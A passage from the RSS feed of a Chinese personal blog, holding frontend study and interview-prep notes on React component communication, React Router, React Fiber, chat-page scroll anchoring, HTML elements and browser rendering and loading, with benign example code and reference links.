</span></span><span class="line"><span class="cl">    <span class="p">&lt;/</span><span class="nt">MyContext.Provider</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">Child</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">contextValue</span> <span class="o">=</span> <span class="nx">React</span><span class="p">.</span><span class="nx">useContext</span><span class="p">(</span><span class="nx">MyContext</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="p">&lt;</span><span class="nt">div</span><span class="p">&gt;{</span><span class="nx">contextValue</span><span class="p">}&lt;/</span><span class="nt">div</span><span class="p">&gt;;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div></li>
</ul>
<h3 id="通过-redux-或其他状态管理库">通过 Redux 或其他状态管理库</h3>
<ul>
<li><strong>适用场景</strong>：在需要管理全局状态或复杂状态时，Redux 是一个强大的工具。</li>
<li><strong>原理</strong>：全局状态存储在 Redux 的 <code>store</code> 中，任何组件都可以通过 <code>connect</code> 或 <code>useSelector</code> 访问状态，通过 <code>dispatch</code> 发送 action 来修改状态。</li>
<li><strong>示例</strong>:
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jsx" data-lang="jsx"><span class="line"><span class="cl"><span class="kr">import</span> <span class="p">{</span> <span class="nx">useSelector</span><span class="p">,</span> <span class="nx">useDispatch</span> <span class="p">}</span> <span class="nx">from</span> <span class="s1">&#39;react-redux&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">MyComponent</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">count</span> <span class="o">=</span> <span class="nx">useSelector</span><span class="p">(</span><span class="nx">state</span> <span class="p">=&gt;</span> <span class="nx">state</span><span class="p">.</span><span class="nx">counter</span><span class="p">.</span><span class="nx">value</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">dispatch</span> <span class="o">=</span> <span class="nx">useDispatch</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">div</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="p">&lt;</span><span class="nt">span</span><span class="p">&gt;{</span><span class="nx">count</span><span class="p">}&lt;/</span><span class="nt">span</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="p">&lt;</span><span class="nt">button</span> <span class="na">onClick</span><span class="o">=</span><span class="p">{()</span> <span class="p">=&gt;</span> <span class="nx">dispatch</span><span class="p">({</span> <span class="nx">type</span><span class="o">:</span> <span class="s1">&#39;INCREMENT&#39;</span> <span class="p">})}&gt;</span><span class="nx">Increment</span><span class="p">&lt;/</span><span class="nt">button</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div></li>
</ul>
<h3 id="使用全局事件eventemitter-或-custom-events">使用全局事件（EventEmitter 或 Custom Events）</h3>
<ul>
<li><strong>适用场景</strong>：组件之间没有明显的层级关系，适合不频繁的数据交换。</li>
<li><strong>原理</strong>：可以使用事件触发机制，例如 <code>EventEmitter</code>，让一个组件监听事件，另一个组件触发事件。</li>
<li><strong>示例</strong>:
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jsx" data-lang="jsx"><span class="line"><span class="cl"><span class="kr">import</span> <span class="p">{</span> <span class="nx">EventEmitter</span> <span class="p">}</span> <span class="nx">from</span> <span class="s1">&#39;events&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">eventEmitter</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">EventEmitter</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// In one component (sender)
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">eventEmitter</span><span class="p">.</span><span class="nx">emit</span><span class="p">(</span><span class="s1">&#39;message&#39;</span><span class="p">,</span> <span class="s1">&#39;Hello World&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// In another component (receiver)
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">eventEmitter</span><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="s1">&#39;message&#39;</span><span class="p">,</span> <span class="p">(</span><span class="nx">data</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">data</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">});</span>
</span></span></code></pre></div></li>
</ul>
<h3 id="url-params--query-strings通过路由传递">URL Params / Query Strings（通过路由传递）</h3>
<ul>
<li><strong>适用场景</strong>：组件之间通过 URL 参数传递信息。</li>
<li><strong>原理</strong>：使用 React Router 来通过 URL 将信息从一个页面传递到另一个页面。可以通过 <code>useParams</code> 或 <code>useLocation</code> 钩子来读取。</li>
<li><strong>示例</strong>:
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jsx" data-lang="jsx"><span class="line"><span class="cl"><span class="kr">import</span> <span class="p">{</span> <span class="nx">useParams</span> <span class="p">}</span> <span class="nx">from</span> <span class="s1">&#39;react-router-dom&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">UserProfile</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="p">{</span> <span class="nx">userId</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">useParams</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="p">&lt;</span><span class="nt">div</span><span class="p">&gt;</span><span class="nx">User</span> <span class="nx">ID</span><span class="o">:</span> <span class="p">{</span><span class="nx">userId</span><span class="p">}&lt;/</span><span class="nt">div</span><span class="p">&gt;;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div></li>
</ul>
<h3 id="使用-web-storagelocalstoragesessionstorage">使用 Web Storage（LocalStorage/SessionStorage）</h3>
<ul>
<li><strong>适用场景</strong>：需要在页面刷新或不同组件间共享数据。</li>
<li><strong>原理</strong>：将数据存储在浏览器的 <code>localStorage</code> 或 <code>sessionStorage</code> 中，组件可以通过它们来读取和修改数据。</li>
<li><strong>示例</strong>:
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jsx" data-lang="jsx"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">setData</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">localStorage</span><span class="p">.</span><span class="nx">setItem</span><span class="p">(</span><span class="s1">&#39;name&#39;</span><span class="p">,</span> <span class="s1">&#39;John&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">getData</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">name</span> <span class="o">=</span> <span class="nx">localStorage</span><span class="p">.</span><span class="nx">getItem</span><span class="p">(</span><span class="s1">&#39;name&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="p">&lt;</span><span class="nt">div</span><span class="p">&gt;{</span><span class="nx">name</span><span class="p">}&lt;/</span><span class="nt">div</span><span class="p">&gt;;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div></li>
</ul>
<hr>
<h2 id="react-router">React Router</h2>
<ul>
<li>state
<ul>
<li>An object to store on location state. This is useful for state that doesn’t need to be in the URL but is associated with a route transition. Think of it like “post” data on a server.</li>
<li>可以用来实现: 用户被踢出后再登陆注册能返回被踢出时的页面</li>
</ul>
</li>
<li>replace的作用:
<blockquote>
<p>An example is when the user clicks a “purchase” button but needs to log in first, after they log in, you can replace the login screen with the checkout screen you wanted them to be at. Then when they click the back button they won’t see the login page again.</p>
<p>navigate(&quot;/some/where&quot;, { replace: true })</p>
</blockquote>
</li>
</ul>
<h3 id="参考-2">参考</h3>
<ul>
<li><a href="https://reach.tech/router/api/navigate"  target="_blank" rel="noopener" >Reach Router - navigate(to, { state={}, replace=false })</a></li>
</ul>
<hr>
<h2 id="react-fiber">React Fiber</h2>
<h3 id="概念">概念</h3>
<ul>
<li>React 通过 Fiber 树对任务进行切片（time-slicing），分成多个小块任务，允许在渲染过程中将控制权交还给主线程，以避免阻塞浏览器的渲染和响应用户交互。</li>
</ul>
<h3 id="关键点">关键点：</h3>
<ol>
<li>
<p><strong>任务的可中断性</strong>
在传统的 React 16 之前的版本，渲染过程是同步的，一旦开始渲染，就会一直执行到整个更新完成。如果渲染复杂，用户交互（如点击、滚动）会被阻塞。而 Fiber 通过将渲染任务分解成多个小任务，可以在渲染的过程中暂停、打断和恢复，从而为高优先级任务（如用户输入）让路。</p>
</li>
<li>
<p><strong>优先级机制</strong>
React Fiber 引入了优先级调度，不同的更新任务可以根据优先级被安排执行。高优先级的任务会优先被调度执行，而低优先级任务会被延迟处理。这种机制大大提升了应用的响应性，避免了长时间的卡顿。</p>
</li>
<li>
<p><strong>双缓冲 Fiber 树</strong>
Fiber 使用两棵树来管理渲染过程：</p>
<ul>
<li><strong>Current Fiber Tree</strong>：当前已渲染的树。</li>
<li><strong>Work In Progress Fiber Tree</strong>：正在构建的树。</li>
</ul>
<p>React 在更新过程中会基于当前的 Fiber 树构建一个新的 Fiber 树，这个过程是渐进的，不会阻塞主线程。</p>
</li>
<li>
<p><strong>时间切片（Time Slicing）</strong>
通过时间切片，React Fiber 能够将渲染任务分割成多个小片段，在每个帧之间执行这些片段。每当有更高优先级的任务需要处理时，React Fiber 会暂停当前的渲染任务，执行完高优先级任务后再恢复。</p>
</li>
<li>
<p><strong>可恢复的工作单元</strong>
每个 Fiber 都是一个工作单元，它包含了组件的状态、props 和上下文信息。Fiber 架构允许在工作单元之间中断、恢复以及重新调度渲染。</p>
</li>
<li>
<p><strong>并发模式（Concurrent Mode）</strong>
React Fiber 是并发模式的基础，它能够在未来支持并发渲染，让 React 在后台渲染不重要的内容，并优先响应重要的更新。这一特性会进一步提升用户体验，尤其是在交互密集的应用中。</p>
</li>
</ol>
<h3 id="参考-3">参考</h3>
<ul>
<li><a href="https://www.velotio.com/engineering-blog/react-fiber-algorithm"  target="_blank" rel="noopener" >An Introduction to React Fiber - The Algorithm Behind React</a></li>
<li><a href="https://juejin.cn/post/7114132411499151373"  target="_blank" rel="noopener" >通俗易懂地理解React Fiber - 掘金</a></li>
</ul>
<hr>
<h2 id="错误捕获">错误捕获</h2>
<p>wip</p>
<h3 id="参考-4">参考</h3>
<ul>
<li><a href="https://zh-hans.react.dev/reference/react/Component#catching-rendering-errors-with-an-error-boundary"  target="_blank" rel="noopener" >使用错误边界捕获渲染错误  – React 中文文档</a></li>
<li><a href="https://github.com/bvaughn/react-error-boundary"  target="_blank" rel="noopener" >bvaughn/react-error-boundary: Simple reusable React error boundary component</a></li>
</ul>
<hr>
<h2 id="优先级管理">优先级管理</h2>
<p>wip</p>
<h3 id="参考-5">参考</h3>
<ul>
<li><a href="https://7km.top/main/priority"  target="_blank" rel="noopener" >优先级管理</a></li>
</ul>
<hr>
<h2 id="参考-6">参考</h2>
<ul>
<li><a href="https://github.com/sudheerj/reactjs-interview-questions"  target="_blank" rel="noopener" >sudheerj/reactjs-interview-questions: List of top 500 ReactJS Interview Questions &amp; Answers&hellip;.Coding exercise questions are coming soon!!</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>前端知识点整理</title>
      <link>https://euds.org/2024/frontend_points/</link>
      <pubDate>Thu, 07 Mar 2024 15:34:14 +0800</pubDate>
      
      <guid>https://euds.org/2024/frontend_points/</guid>
      <description>自己学习过程中整理的关于前端的知识点</description>
      <content:encoded><![CDATA[<h2 id="存在问题">存在问题</h2>
<p>当做聊天页时会遇到下拉加载历史记录，当我们获取历史记录并将其放进页面数组时，新获取的历史记录会将你刚刚看的信息挤下去，这时你要往上拉才能回到你刚刚看的信息。
虽然可以通过获取刚看的那条信息的位置，等历史记录拉取下来后再通过改变滚动条回到其原来的位置，但这样会让页面出现闪动，信息会先下去，然后再上来。</p>
<h2 id="intersectionobserver">IntersectionObserver</h2>
<ul>
<li><a href="https://mp.weixin.qq.com/s/vhpXEaumPp5VvR7Zt9jGkQ"  target="_blank" rel="noopener" >不到20行js实现高性能图片懒加载</a></li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/API/IntersectionObserver"  target="_blank" rel="noopener" >IntersectionObserver - Web APIs | MDN</a></li>
<li><a href="https://medium.com/strise/making-use-of-observers-in-react-a29b1fd05fa7"  target="_blank" rel="noopener" >Making use of Observers in React. Ever needed to manipulate the DOM when… | by Jens Lind | Strise | Medium</a></li>
<li><a href="https://dev.to/hey_yogini/infinite-scrolling-in-react-with-intersection-observer-22fh"  target="_blank" rel="noopener" >Infinite scrolling in React with intersection observer - DEV Community</a></li>
</ul>
<h2 id="滚动到对应位置">滚动到对应位置</h2>
<ul>
<li><a href="https://react.dev/learn/manipulating-the-dom-with-refs#how-to-manage-a-list-of-refs-using-a-ref-callback"  target="_blank" rel="noopener" >Manipulating the DOM with Refs – React</a></li>
</ul>
<h2 id="overflow-anchor">overflow-anchor</h2>
<ul>
<li><a href="https://juejin.cn/post/7112349799373864996"  target="_blank" rel="noopener" >解决聊天页下拉加载历史记录，新获取的历史记录把刚看的信息挤下去的问题 - 掘金</a></li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/overflow-anchor"  target="_blank" rel="noopener" >overflow-anchor - CSS: Cascading Style Sheets | MDN</a></li>
<li><a href="https://css-tricks.com/almanac/properties/o/overflow-anchor/"  target="_blank" rel="noopener" >Overflow-anchor | CSS-Tricks</a></li>
</ul>
<blockquote>
<p>Scroll Anchoring is a browser feature that attempts to prevent a common situation where you may scroll down a webpage before the DOM has fully loaded and, when it does, any elements that load above your current location push you further down the page.</p>
</blockquote>
<h2 id="反向渲染">反向渲染</h2>
<p><a href="https://www.alloyteam.com/2020/04/14349/comment-page-1/#comments"  target="_blank" rel="noopener" >前端开发中聊天场景的体验优化 | AlloyTeam</a></p>
<h2 id="计算并设置正确的滚动位置">计算并设置正确的滚动位置</h2>
<ul>
<li>
<p><a href="https://cloud.tencent.com/developer/article/2176884"  target="_blank" rel="noopener" >React中将一直增加消息的滚动框保持在当前浏览的位置-腾讯云开发者社区-腾讯云</a></p>
</li>
<li>
<p><a href="https://www.zhangxinxu.com/wordpress/2018/02/container-scroll-position-hold/"  target="_blank" rel="noopener" >小tips: 滚动容器尺寸变化子元素视觉上位置不变JS实现 « 张鑫旭-鑫空间-鑫生活</a></p>
</li>
</ul>
<h2 id="位置不对">位置不对</h2>
<p><a href="https://www.shymean.com/article/%E5%89%8D%E7%AB%AF%E4%BD%93%E9%AA%8C%E4%BC%98%E5%8C%96%E4%B9%8B%E5%9B%BE%E7%89%87%E5%8A%A0%E8%BD%BD%E9%97%AA%E7%83%81"  target="_blank" rel="noopener" >前端体验优化之图片加载闪烁 | ShyMean</a></p>
]]></content:encoded>
    </item>
    
    <item>
      <title>前端知识点整理</title>
      <link>https://euds.org/2024/frontend_points/</link>
      <pubDate>Thu, 07 Mar 2024 15:34:14 +0800</pubDate>
      
      <guid>https://euds.org/2024/frontend_points/</guid>
      <description>自己学习过程中整理的关于前端的知识点</description>
      <content:encoded><![CDATA[<p><strong>本文记录了我学习过程中整理的前端相关的知识点,以摘抄为主，绝大部分非原创。未能全部都标明出处，在此致歉</strong></p>
<h2 id="前言">前言</h2>
<h3 id="为什么选择前端">为什么选择前端</h3>
<p>前端和后端，我选择将前端作为我的主要技术栈。这和我个人的学习习惯有关。</p>
<p>我喜欢学以致用,对于一门尚未掌握的技术，我倾向于先看文档看个百分之二三十,有个大体的了解后，就开始动手去做。但后端的微服务等技术，我缺乏实际的实践环境，没法实践去应用，学起来就感觉很虚。</p>
<p>但前端不太一样。在我自己的项目中，为了实现更快的响应时间、更实用美观的界面，我有充分的动力去学习新的技术，然后将其运用，这形成了一个正反馈的过程。比如说我去年用webassembly写了一个<a href="https://lifegame.ds63.eu.org/"  target="_blank" rel="noopener" >Game of Life</a>，当我对代码进行优化后，我确实能看到帧数肉眼可见地提升了。</p>
<h3 id="为什么要记八股">为什么要记八股</h3>
<p>最近在准备找实习，网上的八股光看也不太能记得住，还得是自己整理记录下。</p>
<p>我之前有点认为记八股是一种应试行为，有点抵触。但有天晚上我排查<a href="https://github.com/EuDs63/postkid"  target="_blank" rel="noopener" >EuDs63/postkid</a>出现的一个问题,为了完全搞懂，我就自发地去搜React的生命周期。</p>
<p>这时候我意识到八股的那些问题，其实不少是蛮常见的问题。要写好代码确实得去知道。</p>
<p>看<a href="https://www.nowcoder.com/discuss/590189774611247104"  target="_blank" rel="noopener" >面试官视角下的技术面——为什么要“背八股”_牛客网</a>。</p>
<p>如果被问八股，要学会自己主动去延伸，进而在一定程度上把握面试的主动权。</p>
<hr>
<h2 id="html">Html</h2>
<h3 id="表单数据校验">表单数据校验</h3>
<p><a href="https://developer.mozilla.org/zh-CN/docs/Learn/Forms/Form_validation"  target="_blank" rel="noopener" >表单数据校验 - 学习 Web 开发 | MDN</a></p>
<h3 id="锚点">锚点</h3>
<ul>
<li>示例</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="o">&lt;</span><span class="nx">a</span> <span class="nx">href</span><span class="o">=</span><span class="s2">&#34;#javascript深入之重新认识箭头函数的this&#34;</span> <span class="nx">aria</span><span class="o">-</span><span class="nx">hidden</span><span class="o">=</span><span class="s2">&#34;true&#34;</span> <span class="kr">class</span><span class="o">=</span><span class="s2">&#34;header-anchor&#34;</span><span class="o">&gt;</span><span class="err">#</span><span class="o">&lt;</span><span class="err">/a&gt;</span>
</span></span></code></pre></div><ul>
<li><code>aria-hidden=&quot;true&quot;</code> 属性通常用于指示屏幕阅读器等辅助技术，告知它们该元素对用户来说是不可见的，因此屏幕阅读器会忽略该元素。</li>
<li>参考 <a href="https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/a"  target="_blank" rel="noopener" ><!-- raw HTML omitted -->：锚元素 - HTML（超文本标记语言） | MDN</a></li>
</ul>
<h3 id="html5新特性">html5新特性</h3>
<p>wip</p>
<h3 id="html5语义化">HTML5语义化</h3>
<ul>
<li>title v.s. h1</li>
<li>strong v.s. b</li>
</ul>
<h3 id="input">input</h3>
<ul>
<li><code>readonly</code>: 只可读，不允许改动，提交时该值可以被传递</li>
<li><code>disable</code>:  不可改动，提交时该值不会被传递</li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input"  target="_blank" rel="noopener" ><!-- raw HTML omitted -->: The HTML Input element - HTML: HyperText Markup Language | MDN</a></li>
</ul>
<h3 id="ol">ol</h3>
<ul>
<li><code>start</code>: 计数的起点</li>
<li><code>type</code>: <code>a|A|i|I|1</code>, 默认为1</li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/ol"  target="_blank" rel="noopener" ><!-- raw HTML omitted -->: The Ordered List element - HTML: HyperText Markup Language | MDN</a></li>
</ul>
<h3 id="img">img</h3>
<ul>
<li>属性:
<ul>
<li>src： 必须</li>
<li>alt</li>
<li><code>referrerpolicy</code></li>
<li><code>crossorigin</code></li>
<li><code>onerror</code></li>
<li><code>loading</code></li>
</ul>
</li>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/img"  target="_blank" rel="noopener" ><!-- raw HTML omitted -->：图像嵌入元素 - HTML（超文本标记语言） | MDN</a></li>
</ul>
<hr>
<h2 id="浏览器">浏览器</h2>
<h3 id="浏览器一帧都会干些什么">浏览器一帧都会干些什么？</h3>
<ol>
<li>接受输入事件</li>
<li>执行事件回调</li>
<li>开始一帧</li>
<li>执行 RAF (RequestAnimationFrame)</li>
<li>页面布局，样式计算</li>
<li>绘制渲染</li>
<li>执行 RIC (RequestIdelCallback)</li>
</ol>
<h3 id="浏览器引擎的工作原理">浏览器引擎的工作原理</h3>
<p>wip</p>
<ul>
<li><a href="https://juejin.cn/post/7179130165262286885"  target="_blank" rel="noopener" >一次看懂V8引擎与JIT原理V8 V8 是什么 Google V8 是开源高性能 JavaScript 和 WebAss - 掘金</a></li>
</ul>
<h3 id="浏览器渲染过程">浏览器渲染过程</h3>
<ol>
<li>解析 HTML 和样式计算 (parsing and style calculation)</li>
<li>布局 (Layout)</li>
<li>绘制 (paint)</li>
<li>合成 (compositing)</li>
</ol>
<h3 id="浏览器事件循环">浏览器事件循环</h3>
<p>wip</p>
<h3 id="浏览器的多线程">浏览器的多线程</h3>
<ol>
<li>JavaScript 引擎线程</li>
<li>GUI 渲染线程
<ul>
<li>GUI 渲染线程与 JavaScript 引擎是互斥的</li>
<li>当 JavaScript 引擎执行时 GUI 线程会被挂起，GUI 更新会被保存在一个队列中等到 JavaScript 引擎空闲时立即被执行。</li>
</ul>
</li>
<li>事件触发线程
<ul>
<li>当一个事件被触发时该线程会把事件添加到“任务队列”的队尾，等待 JavaScript 引擎的处理。这些事件可来自 JavaScript 引擎当前执行的代码块如 setTimeout、也可来自浏览器内核的其他线程如鼠标点击、Ajax 异步请求等，但由于 JavaScript 是单线程执行的，所有这些事件都得排队等待 JavaScript 引擎处理。</li>
</ul>
</li>
</ol>
<ul>
<li>参考: <a href="https://github.com/JChehe/blog/blob/master/posts/%E5%85%B3%E4%BA%8EJavaScript%E5%8D%95%E7%BA%BF%E7%A8%8B%E7%9A%84%E4%B8%80%E4%BA%9B%E4%BA%8B.md"  target="_blank" rel="noopener" >blog/posts/关于JavaScript单线程的一些事.md at master · JChehe/blog</a></li>
</ul>
<h3 id="输入url到页面渲染的过程">输入URL到页面渲染的过程</h3>
<ul>
<li>DNS 查询顺序
<ol>
<li>浏览器 DNS 缓存</li>
<li>浏览器调用 getaddrinfo() 查询数据，其中 getaddrinfo() 会根据如下顺序查询
<ol>
<li>先看 /etc/hosts 文件</li>
<li>通过主机名服务/mDNS 查询</li>
<li>通过 systemd-resolved 查询</li>
<li>最后通过 DHCP 下发的 DNS 查询</li>
<li>一级级往上查询直到根 DNS 服务器</li>
</ol>
</li>
</ol>
</li>
<li>CSS加载不阻塞页面解析，但阻塞页面渲染</li>
<li>JS加载阻塞页面解析和渲染</li>
<li>参考
<ul>
<li><a href="https://nova.moe/rethink-type-url-dns/"  target="_blank" rel="noopener" >重新思考浏览器输入了 URL 并按下回车之后到底发生了什么——本地 DNS 部分 | Nova Kwok&rsquo;s Awesome Blog</a></li>
<li><a href="https://zhuanlan.zhihu.com/p/140700610"  target="_blank" rel="noopener" >(1w字)前端都该懂的浏览器工作原理，你懂了吗？ - 知乎</a></li>
<li><a href="https://zhuanlan.zhihu.com/p/133906695"  target="_blank" rel="noopener" >从输入 URL 到页面展示到底发生了什么？ - 知乎</a></li>
<li><a href="https://juejin.cn/post/7011377094156353567"  target="_blank" rel="noopener" >css、js和图片文件加载会阻塞页面解析和渲染吗？同时加载10个js文件需要多长时间？从输入url到页面展示到底发生了什 - 掘金</a></li>
</ul>
</li>
</ul>
<h3 id="script标签中的defer和async的区别">script标签中的defer和async的区别？</h3>
<ul>
<li>defer
<ul>
<li>示例: <code>&lt;script defer src=&quot;https://javascript.info/article/script-async-defer/small.js&quot;&gt;&lt;/script&gt;</code></li>
<li>具有 defer 特性的脚本不会阻塞页面</li>
<li>具有 defer 特性的脚本总是要等到 DOM 解析完毕，但在 DOMContentLoaded 事件之前执行</li>
<li>具有 defer 特性的脚本保持其相对顺序，就像常规脚本一样</li>
<li>仅适用于外部脚本: 如果 <code>&lt;script&gt;</code> 脚本没有 src，则会忽略 defer 特性</li>
</ul>
</li>
<li>async
<ul>
<li>async 特性意味着脚本是完全独立的：
<ol>
<li>浏览器不会因 async 脚本而阻塞（与 defer 类似）。</li>
<li>加载完立即执行：其他脚本不会等待 async 脚本加载完成，同样，async 脚本也不会等待其他脚本。</li>
</ol>
</li>
<li>仅适用于外部脚本: 如果 <code>&lt;script&gt;</code> 脚本没有 src，则会忽略 async 特性</li>
<li>由于其完全独立的特性，所以很适用于独立的第三方脚本</li>
</ul>
</li>
<li>参考：<a href="https://zh.javascript.info/script-async-defer"  target="_blank" rel="noopener" >脚本：async，defer</a></li>
</ul>
<h3 id="兼容">兼容</h3>
<ul>
<li>例:</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="nx">addEventListener</span><span class="p">(</span><span class="s2">&#34;paste&#34;</span><span class="p">,</span> <span class="p">(</span><span class="nx">event</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">event</span><span class="p">.</span><span class="nx">preventDefault</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">  <span class="c1">//兼容不同浏览器中获取剪贴板数据的方式
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="kd">let</span> <span class="nx">paste</span> <span class="o">=</span> <span class="p">(</span><span class="nx">event</span><span class="p">.</span><span class="nx">clipboardData</span> <span class="o">||</span> <span class="nb">window</span><span class="p">.</span><span class="nx">clipboardData</span><span class="p">).</span><span class="nx">getData</span><span class="p">(</span><span class="s2">&#34;text&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="nx">paste</span> <span class="o">=</span> <span class="nx">paste</span><span class="p">.</span><span class="nx">toUpperCase</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">selection</span> <span class="o">=</span> <span class="nb">window</span><span class="p">.</span><span class="nx">getSelection</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">selection</span><span class="p">.</span><span class="nx">rangeCount</span><span class="p">)</span> <span class="k">return</span><span class="p">;</span> <span class="c1">//检查是否存在文本范围
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="nx">selection</span><span class="p">.</span><span class="nx">deleteFromDocument</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">  <span class="nx">selection</span><span class="p">.</span><span class="nx">getRangeAt</span><span class="p">(</span><span class="mi">0</span><span class="p">).</span><span class="nx">insertNode</span><span class="p">(</span><span class="nb">document</span><span class="p">.</span><span class="nx">createTextNode</span><span class="p">(</span><span class="nx">paste</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">  <span class="nx">selection</span><span class="p">.</span><span class="nx">collapseToEnd</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="p">});</span>
</span></span></code></pre></div><h3 id="不同文件在浏览器中的存放形式和加载机制">不同文件在浏览器中的存放形式和加载机制</h3>
<ol>
<li>
<p>HTML 文件</p>
<ul>
<li>
<p><strong>存放形式</strong>：</p>
<ul>
<li>HTML 文件是文本文件，包含网页的结构化内容。浏览器解析 HTML 文件时，会构建一个 DOM 树（Document Object Model），该树表示页面的内容和结构。</li>
</ul>
</li>
<li>
<p><strong>加载机制</strong>：</p>
<ul>
<li>浏览器首先会加载 HTML 文件，并根据它来确定其他资源（如 CSS、JavaScript、图片）的加载顺序。</li>
<li>HTML 文件可以包含 <code>&lt;script&gt;</code> 标签加载 JavaScript 文件和 <code>&lt;link&gt;</code> 标签加载 CSS 文件。这些资源文件可能是同步加载，也可能是异步加载。</li>
</ul>
</li>
</ul>
</li>
<li>
<p>CSS 文件</p>
<ul>
<li>
<p><strong>存放形式</strong>：</p>
<ul>
<li>CSS 文件通常是外部链接的静态文件，包含网页的样式定义。浏览器会根据 CSS 文件构建 CSSOM（CSS Object Model）。</li>
</ul>
</li>
<li>
<p><strong>加载机制</strong>：</p>
<ul>
<li>浏览器在解析 HTML 时遇到 <code>&lt;link&gt;</code> 标签引用的 CSS 文件，会<strong>同步加载</strong>这些文件，CSS 文件的加载会阻塞页面的渲染，直到所有 CSS 被加载和解析完毕。</li>
<li>浏览器结合 DOM 和 CSSOM 构建渲染树，并根据渲染树对页面进行布局和绘制。</li>
</ul>
</li>
</ul>
</li>
<li>
<p>JavaScript 文件</p>
<ul>
<li>
<p><strong>存放形式</strong>：</p>
<ul>
<li>JavaScript 文件是纯文本文件，通常会以外部文件的形式引用。浏览器会在解析过程中执行 JavaScript 代码，这些代码可以操作 DOM 树和 CSSOM 树。</li>
</ul>
</li>
<li>
<p><strong>加载机制</strong>：</p>
<ul>
<li>如果 <code>&lt;script&gt;</code> 标签没有 <code>async</code> 或 <code>defer</code> 属性，JavaScript 文件会被同步加载和执行，阻塞页面的解析和渲染。</li>
<li><code>async</code> 属性允许脚本文件异步加载，不会阻塞 HTML 的解析。</li>
<li><code>defer</code> 属性也允许异步加载，但脚本执行会在 HTML 完全解析后进行。</li>
</ul>
</li>
</ul>
</li>
<li>
<p>图片、字体、音视频文件</p>
